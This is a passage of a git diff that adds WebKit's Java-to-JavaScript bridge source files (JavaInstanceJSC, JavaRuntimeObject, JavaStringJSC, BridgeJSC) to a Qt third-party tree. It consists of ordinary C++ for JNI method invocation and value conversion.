+/*
+ * Copyright (C) 2003, 2008, 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JavaInstanceJSC.h"
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "JavaRuntimeObject.h"
+#include "JNIBridgeJSC.h"
+#include "JNIUtility.h"
+#include "JNIUtilityPrivate.h"
+#include "JavaClassJSC.h"
+#include "Logging.h"
+#include "runtime_method.h"
+#include "runtime_object.h"
+#include "runtime_root.h"
+#include <runtime/ArgList.h>
+#include <runtime/Error.h>
+#include <runtime/JSLock.h>
+
+using namespace JSC::Bindings;
+using namespace JSC;
+using namespace WebCore;
+
+JavaInstance::JavaInstance(jobject instance, PassRefPtr<RootObject> rootObject)
+    : Instance(rootObject)
+{
+    m_instance = new JObjectWrapper(instance);
+    m_class = 0;
+}
+
+JavaInstance::~JavaInstance()
+{
+    delete m_class;
+}
+
+RuntimeObject* JavaInstance::newRuntimeObject(ExecState* exec)
+{
+    return new (exec) JavaRuntimeObject(exec, this);
+}
+
+#define NUM_LOCAL_REFS 64
+
+void JavaInstance::virtualBegin()
+{
+    getJNIEnv()->PushLocalFrame(NUM_LOCAL_REFS);
+}
+
+void JavaInstance::virtualEnd()
+{
+    getJNIEnv()->PopLocalFrame(0);
+}
+
+Class* JavaInstance::getClass() const
+{
+    if (!m_class)
+        m_class = new JavaClass (m_instance->m_instance);
+    return m_class;
+}
+
+JSValue JavaInstance::stringValue(ExecState* exec) const
+{
+    JSLock lock(SilenceAssertionsOnly);
+
+    jstring stringValue = (jstring)callJNIMethod<jobject>(m_instance->m_instance, "toString", "()Ljava/lang/String;");
+
+    // Should throw a JS exception, rather than returning ""? - but better than a null dereference.
+    if (!stringValue)
+        return jsString(exec, UString());
+
+    JNIEnv* env = getJNIEnv();
+    const jchar* c = getUCharactersFromJStringInEnv(env, stringValue);
+    UString u((const UChar*)c, (int)env->GetStringLength(stringValue));
+    releaseUCharactersForJStringInEnv(env, stringValue, c);
+    return jsString(exec, u);
+}
+
+JSValue JavaInstance::numberValue(ExecState* exec) const
+{
+    jdouble doubleValue = callJNIMethod<jdouble>(m_instance->m_instance, "doubleValue", "()D");
+    return jsNumber(exec, doubleValue);
+}
+
+JSValue JavaInstance::booleanValue() const
+{
+    jboolean booleanValue = callJNIMethod<jboolean>(m_instance->m_instance, "booleanValue", "()Z");
+    return jsBoolean(booleanValue);
+}
+
+class JavaRuntimeMethod : public RuntimeMethod {
+public:
+    JavaRuntimeMethod(ExecState* exec, const Identifier& name, Bindings::MethodList& list)
+        : RuntimeMethod(exec, name, list)
+    {
+    }
+
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+
+    static const ClassInfo s_info;
+};
+
+const ClassInfo JavaRuntimeMethod::s_info = { "JavaRuntimeMethod", &RuntimeMethod::s_info, 0, 0 };
+
+JSValue JavaInstance::getMethod(ExecState* exec, const Identifier& propertyName)
+{
+    MethodList methodList = getClass()->methodsNamed(propertyName, this);
+    return new (exec) JavaRuntimeMethod(exec, propertyName, methodList);
+}
+
+JSValue JavaInstance::invokeMethod(ExecState* exec, RuntimeMethod* runtimeMethod, const ArgList &args)
+{
+    if (!asObject(runtimeMethod)->inherits(&JavaRuntimeMethod::s_info))
+        return throwError(exec, TypeError, "Attempt to invoke non-Java method on Java object.");
+
+    const MethodList& methodList = *runtimeMethod->methods();
+
+    int i;
+    int count = args.size();
+    JSValue resultValue;
+    Method* method = 0;
+    size_t numMethods = methodList.size();
+
+    // Try to find a good match for the overloaded method.  The
+    // fundamental problem is that JavaScript doesn't have the
+    // notion of method overloading and Java does.  We could
+    // get a bit more sophisticated and attempt to does some
+    // type checking as we as checking the number of parameters.
+    for (size_t methodIndex = 0; methodIndex < numMethods; methodIndex++) {
+        Method* aMethod = methodList[methodIndex];
+        if (aMethod->numParameters() == count) {
+            method = aMethod;
+            break;
+        }
+    }
+    if (!method) {
+        LOG(LiveConnect, "JavaInstance::invokeMethod unable to find an appropiate method");
+        return jsUndefined();
+    }
+
+    const JavaMethod* jMethod = static_cast<const JavaMethod*>(method);
+    LOG(LiveConnect, "JavaInstance::invokeMethod call %s %s on %p", UString(jMethod->name()).UTF8String().c_str(), jMethod->signature(), m_instance->m_instance);
+
+    Vector<jvalue> jArgs(count);
+
+    for (i = 0; i < count; i++) {
+        JavaParameter* aParameter = jMethod->parameterAt(i);
+        jArgs[i] = convertValueToJValue(exec, m_rootObject.get(), args.at(i), aParameter->getJNIType(), aParameter->type());
+        LOG(LiveConnect, "JavaInstance::invokeMethod arg[%d] = %s", i, args.at(i).toString(exec).ascii());
+    }
+
+    jvalue result;
+
+    // Try to use the JNI abstraction first, otherwise fall back to
+    // normal JNI.  The JNI dispatch abstraction allows the Java plugin
+    // to dispatch the call on the appropriate internal VM thread.
+    RootObject* rootObject = this->rootObject();
+    if (!rootObject)
+        return jsUndefined();
+
+    bool handled = false;
+    if (rootObject->nativeHandle()) {
+        jobject obj = m_instance->m_instance;
+        JSValue exceptionDescription;
+        const char *callingURL = 0; // FIXME, need to propagate calling URL to Java
+        handled = dispatchJNICall(exec, rootObject->nativeHandle(), obj, jMethod->isStatic(), jMethod->JNIReturnType(), jMethod->methodID(obj), jArgs.data(), result, callingURL, exceptionDescription);
+        if (exceptionDescription) {
+            throwError(exec, GeneralError, exceptionDescription.toString(exec));
+            return jsUndefined();
+        }
+    }
+
+#ifdef BUILDING_ON_TIGER
+    if (!handled) {
+        jobject obj = m_instance->m_instance;
+        switch (jMethod->JNIReturnType()) {
+        case void_type:
+            callJNIMethodIDA<void>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case object_type:
+            result.l = callJNIMethodIDA<jobject>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case boolean_type:
+            result.z = callJNIMethodIDA<jboolean>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case byte_type:
+            result.b = callJNIMethodIDA<jbyte>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case char_type:
+            result.c = callJNIMethodIDA<jchar>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case short_type:
+            result.s = callJNIMethodIDA<jshort>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case int_type:
+            result.i = callJNIMethodIDA<jint>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case long_type:
+            result.j = callJNIMethodIDA<jlong>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case float_type:
+            result.f = callJNIMethodIDA<jfloat>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case double_type:
+            result.d = callJNIMethodIDA<jdouble>(obj, jMethod->methodID(obj), jArgs.data());
+            break;
+        case array_type:
+        case invalid_type:
+            break;
+        }
+    }
+#endif
+
+    switch (jMethod->JNIReturnType()) {
+    case void_type:
+        {
+            resultValue = jsUndefined();
+        }
+        break;
+
+    case object_type:
+        {
+            if (result.l) {
+                // FIXME: array_type return type is handled below, can we actually get an array here?
+                const char* arrayType = jMethod->returnType();
+                if (arrayType[0] == '[')
+                    resultValue = JavaArray::convertJObjectToArray(exec, result.l, arrayType, rootObject);
+                else {
+                    jobject classOfInstance = callJNIMethod<jobject>(result.l, "getClass", "()Ljava/lang/Class;");
+                    jstring className = static_cast<jstring>(callJNIMethod<jobject>(classOfInstance, "getName", "()Ljava/lang/String;"));
+                    if (!strcmp(JavaString(className).UTF8String(), "sun.plugin.javascript.webkit.JSObject")) {
+                        // Pull the nativeJSObject value from the Java instance.  This is a pointer to the JSObject.
+                        JNIEnv* env = getJNIEnv();
+                        jfieldID fieldID = env->GetFieldID(static_cast<jclass>(classOfInstance), "nativeJSObject", "J");
+                        jlong nativeHandle = env->GetLongField(result.l, fieldID);
+                        // FIXME: Handling of undefined values differs between functions in JNIUtilityPrivate.cpp and those in those in jni_jsobject.mm,
+                        // and so it does between different versions of LiveConnect spec. There should not be multiple code paths to do the same work.
+                        if (nativeHandle == 1 /* UndefinedHandle */)
+                            return jsUndefined();
+                        return static_cast<JSObject*>(jlong_to_ptr(nativeHandle));
+                    } else
+                        return JavaInstance::create(result.l, rootObject)->createRuntimeObject(exec);
+                }
+            } else
+                return jsUndefined();
+        }
+        break;
+
+    case boolean_type:
+        {
+            resultValue = jsBoolean(result.z);
+        }
+        break;
+
+    case byte_type:
+        {
+            resultValue = jsNumber(exec, result.b);
+        }
+        break;
+
+    case char_type:
+        {
+            resultValue = jsNumber(exec, result.c);
+        }
+        break;
+
+    case short_type:
+        {
+            resultValue = jsNumber(exec, result.s);
+        }
+        break;
+
+    case int_type:
+        {
+            resultValue = jsNumber(exec, result.i);
+        }
+        break;
+
+    case long_type:
+        {
+            resultValue = jsNumber(exec, result.j);
+        }
+        break;
+
+    case float_type:
+        {
+            resultValue = jsNumber(exec, result.f);
+        }
+        break;
+
+    case double_type:
+        {
+            resultValue = jsNumber(exec, result.d);
+        }
+        break;
+
+    case array_type:
+        {
+            const char* arrayType = jMethod->returnType();
+            ASSERT(arrayType[0] == '[');
+            resultValue = JavaArray::convertJObjectToArray(exec, result.l, arrayType, rootObject);
+        }
+        break;
+
+    case invalid_type:
+        {
+            resultValue = jsUndefined();
+        }
+        break;
+    }
+
+    return resultValue;
+}
+
+JSValue JavaInstance::defaultValue(ExecState* exec, PreferredPrimitiveType hint) const
+{
+    if (hint == PreferString)
+        return stringValue(exec);
+    if (hint == PreferNumber)
+        return numberValue(exec);
+    JavaClass* aClass = static_cast<JavaClass*>(getClass());
+    if (aClass->isStringClass())
+        return stringValue(exec);
+    if (aClass->isNumberClass())
+        return numberValue(exec);
+    if (aClass->isBooleanClass())
+        return booleanValue();
+    return valueOf(exec);
+}
+
+JSValue JavaInstance::valueOf(ExecState* exec) const
+{
+    return stringValue(exec);
+}
+
+JObjectWrapper::JObjectWrapper(jobject instance)
+    : m_refCount(0)
+{
+    ASSERT(instance);
+
+    // Cache the JNIEnv used to get the global ref for this java instance.
+    // It'll be used to delete the reference.
+    m_env = getJNIEnv();
+
+    m_instance = m_env->NewGlobalRef(instance);
+
+    LOG(LiveConnect, "JObjectWrapper ctor new global ref %p for %p", m_instance, instance);
+
+    if (!m_instance)
+        LOG_ERROR("Could not get GlobalRef for %p", instance);
+}
+
+JObjectWrapper::~JObjectWrapper()
+{
+    LOG(LiveConnect, "JObjectWrapper dtor deleting global ref %p", m_instance);
+    m_env->DeleteGlobalRef(m_instance);
+}
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaInstanceJSC.h b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaInstanceJSC.h
new file mode 100644
index 0000000..d395cc8
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaInstanceJSC.h
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JavaInstanceJSC_h
+#define JavaInstanceJSC_h
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "Bridge.h"
+#include "runtime_root.h"
+
+#include <JavaVM/jni.h>
+
+namespace JSC {
+
+namespace Bindings {
+
+class JavaClass;
+
+class JObjectWrapper {
+friend class RefPtr<JObjectWrapper>;
+friend class JavaArray;
+friend class JavaField;
+friend class JavaInstance;
+friend class JavaMethod;
+
+public:
+    jobject instance() const { return m_instance; }
+    void setInstance(jobject instance) { m_instance = instance; }
+
+    void ref() { m_refCount++; }
+    void deref()
+    {
+        if (!(--m_refCount))
+            delete this;
+    }
+
+protected:
+    JObjectWrapper(jobject instance);
+    ~JObjectWrapper();
+
+    jobject m_instance;
+
+private:
+    JNIEnv* m_env;
+    unsigned int m_refCount;
+};
+
+class JavaInstance : public Instance {
+public:
+    static PassRefPtr<JavaInstance> create(jobject instance, PassRefPtr<RootObject> rootObject)
+    {
+        return adoptRef(new JavaInstance(instance, rootObject));
+    }
+
+    ~JavaInstance();
+
+    virtual Class* getClass() const;
+
+    virtual JSValue valueOf(ExecState*) const;
+    virtual JSValue defaultValue(ExecState*, PreferredPrimitiveType) const;
+
+    virtual JSValue getMethod(ExecState* exec, const Identifier& propertyName);
+    virtual JSValue invokeMethod(ExecState* exec, RuntimeMethod* method, const ArgList& args);
+
+    jobject javaInstance() const { return m_instance->m_instance; }
+
+    JSValue stringValue(ExecState*) const;
+    JSValue numberValue(ExecState*) const;
+    JSValue booleanValue() const;
+
+protected:
+    JavaInstance(jobject instance, PassRefPtr<RootObject>);
+
+    virtual RuntimeObject* newRuntimeObject(ExecState*);
+
+    virtual void virtualBegin();
+    virtual void virtualEnd();
+
+    RefPtr<JObjectWrapper> m_instance;
+    mutable JavaClass* m_class;
+};
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // ENABLE(MAC_JAVA_BRIDGE)
+
+#endif // JavaInstanceJSC_h
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaRuntimeObject.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaRuntimeObject.cpp
new file mode 100644
index 0000000..dc58b71
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaRuntimeObject.cpp
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#include "JavaInstanceJSC.h"
+#include "JavaRuntimeObject.h"
+
+namespace JSC {
+namespace Bindings {
+
+const ClassInfo JavaRuntimeObject::s_info = { "JavaRuntimeObject", &RuntimeObject::s_info, 0, 0 };
+
+JavaRuntimeObject::JavaRuntimeObject(ExecState* exec, PassRefPtr<JavaInstance> instance)
+    : RuntimeObject(exec, instance)
+{
+}
+
+JavaRuntimeObject::~JavaRuntimeObject()
+{
+}
+
+JavaInstance* JavaRuntimeObject::getInternalJavaInstance() const
+{
+    return static_cast<JavaInstance*>(getInternalInstance());
+}
+
+
+
+}
+}
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaRuntimeObject.h b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaRuntimeObject.h
new file mode 100644
index 0000000..d9bf693
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaRuntimeObject.h
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2010 Apple Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#ifndef JavaRuntimeObject_h
+#define JavaRuntimeObject_h
+
+#include "runtime_object.h"
+
+namespace JSC {
+namespace Bindings {
+
+class JavaInstance;
+
+class JavaRuntimeObject : public RuntimeObject {
+public:
+    JavaRuntimeObject(ExecState*, PassRefPtr<JavaInstance>);
+    virtual ~JavaRuntimeObject();
+
+    JavaInstance* getInternalJavaInstance() const;
+
+    static const ClassInfo s_info;
+
+private:
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+};
+
+}
+}
+
+#endif
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaStringJSC.h b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaStringJSC.h
new file mode 100644
index 0000000..cc2263a
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JavaStringJSC.h
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2010 Apple Computer, Inc.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *  * Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ *  * Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef JavaStringJSC_h
+#define JavaStringJSC_h
+
+#include "JNIUtility.h"
+#include "JavaInstanceJSC.h"
+#include <runtime/JSLock.h>
+
+
+namespace JSC {
+
+namespace Bindings {
+
+class JavaStringImpl {
+public:
+    ~JavaStringImpl()
+    {
+        JSLock lock(SilenceAssertionsOnly);
+        m_rep = 0;
+    }
+
+    void init()
+    {
+        JSLock lock(SilenceAssertionsOnly);
+        m_rep = UString().rep();
+    }
+
+    void init(JNIEnv* e, jstring s)
+    {
+        int size = e->GetStringLength(s);
+        const jchar* uc = getUCharactersFromJStringInEnv(e, s);
+        {
+            JSLock lock(SilenceAssertionsOnly);
+            m_rep = UString(reinterpret_cast<const UChar*>(uc), size).rep();
+        }
+        releaseUCharactersForJStringInEnv(e, s, uc);
+    }
+
+    const char* UTF8String() const
+    {
+        if (!m_utf8String.c_str()) {
+            JSLock lock(SilenceAssertionsOnly);
+            m_utf8String = UString(m_rep).UTF8String();
+        }
+        return m_utf8String.c_str();
+    }
+    const jchar* uchars() const { return (const jchar*)m_rep->characters(); }
+    int length() const { return m_rep->length(); }
+    UString uString() const { return UString(m_rep); }
+
+private:
+    RefPtr<UString::Rep> m_rep;
+    mutable CString m_utf8String;
+};
+
+} // namespace Bindings
+
+} // namespace JSC
+
+#endif // JavaStringJSC_h
diff --git a/src/3rdparty/webkit/WebCore/bridge/jsc/BridgeJSC.cpp b/src/3rdparty/webkit/WebCore/bridge/jsc/BridgeJSC.cpp
new file mode 100644
index 0000000..3d8f62d
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jsc/BridgeJSC.cpp
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2003, 2006, 2008 Apple Inc. All rights reserved.
+ * Copyright 2010, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "BridgeJSC.h"
+
+#include "runtime_object.h"
+#include "runtime_root.h"
+#include <runtime/JSLock.h>
+
+#if PLATFORM(QT)
+#include "qt_instance.h"
+#endif
+
+namespace JSC {
+
+namespace Bindings {
+
+Array::Array(PassRefPtr<RootObject> rootObject)
+    : m_rootObject(rootObject)
+{
+    ASSERT(m_rootObject);
+}
+
+Array::~Array()
+{
+}
+
+Instance::Instance(PassRefPtr<RootObject> rootObject)
+    : m_rootObject(rootObject)
+    , m_runtimeObject(0)
+{
+    ASSERT(m_rootObject);
+}
+
+Instance::~Instance()
+{
+    ASSERT(!m_runtimeObject);
+}
+
+static KJSDidExecuteFunctionPtr s_didExecuteFunction;
+
+void Instance::setDidExecuteFunction(KJSDidExecuteFunctionPtr func)
+{
+    s_didExecuteFunction = func;
+}
+
+KJSDidExecuteFunctionPtr Instance::didExecuteFunction()
+{
+    return s_didExecuteFunction;
+}
+
+void Instance::begin()
+{
+    virtualBegin();
+}
+
+void Instance::end()
+{
+    virtualEnd();
+}
+
+RuntimeObject* Instance::createRuntimeObject(ExecState* exec)
+{
+    ASSERT(m_rootObject);
+    ASSERT(m_rootObject->isValid());
+    if (m_runtimeObject)
+        return m_runtimeObject;
+    JSLock lock(SilenceAssertionsOnly);
+    m_runtimeObject = newRuntimeObject(exec);
+    m_rootObject->addRuntimeObject(m_runtimeObject);
+    return m_runtimeObject;
+}
+
+RuntimeObject* Instance::newRuntimeObject(ExecState* exec)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    return new (exec)RuntimeObject(exec, this);
+}
+
+void Instance::willDestroyRuntimeObject()
+{
+    ASSERT(m_rootObject);
+    ASSERT(m_rootObject->isValid());
+    ASSERT(m_runtimeObject);
+    m_rootObject->removeRuntimeObject(m_runtimeObject);
+    m_runtimeObject = 0;
+}
+
+void Instance::willInvalidateRuntimeObject()
+{
+    ASSERT(m_runtimeObject);
+    m_runtimeObject = 0;
+}
+
+RootObject* Instance::rootObject() const
+{
+    return m_rootObject && m_rootObject->isValid() ? m_rootObject.get() : 0;
+}
+
+} // namespace Bindings
+
+} // namespace JSC
diff --git a/src/3rdparty/webkit/WebCore/bridge/jsc/BridgeJSC.h b/src/3rdparty/webkit/WebCore/bridge/jsc/BridgeJSC.h
new file mode 100644
index 0000000..8379170
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jsc/BridgeJSC.h
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2003, 2008, 2009 Apple Inc. All rights reserved.
+ * Copyright 2010, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
